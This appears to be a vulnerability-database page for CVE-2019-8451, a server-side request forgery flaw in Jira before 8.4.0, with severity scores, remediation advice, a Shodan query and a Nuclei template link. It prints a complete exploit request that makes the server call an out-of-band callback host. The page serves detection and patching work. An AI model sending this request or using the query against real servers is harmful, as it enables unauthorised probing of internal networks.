🔙 목록으로 돌아가기

CVE-2019-8451: Jira <8.4.0 - Server-Side Request Forgery

TitleJira <8.4.0 - Server-Side Request Forgery
AuthorTechbrunchFR
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
RemediationUpgrade Jira to version 8.4.0 or later to mitigate the SSRF vulnerability.
CVSS Score6.5
EPSS Score0.92505
CVE IDCVE-2019-8451
CWE IDCWE-918
Shodan Queryhttp.component:"Atlassian Jira"http.component:"atlassian jira"
Tags cve cve2019 atlassian jira ssrf oast tenable hackerone vkev vuln

🔍 Vulnerability Description

Jira before 8.4.0 is susceptible to server-side request forgery. The /plugins/servlet/gadgets/makeRequest resource contains a logic bug in the JiraWhitelist class, which can allow an attacker to access the content of internal network resources and thus modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 76
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
Accept-Encoding: gzip

url=https://www.victim.com:443@d5jpk89le0o41331gvt0wpm76qgbhtnen.oast.site

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8451.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-8451.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A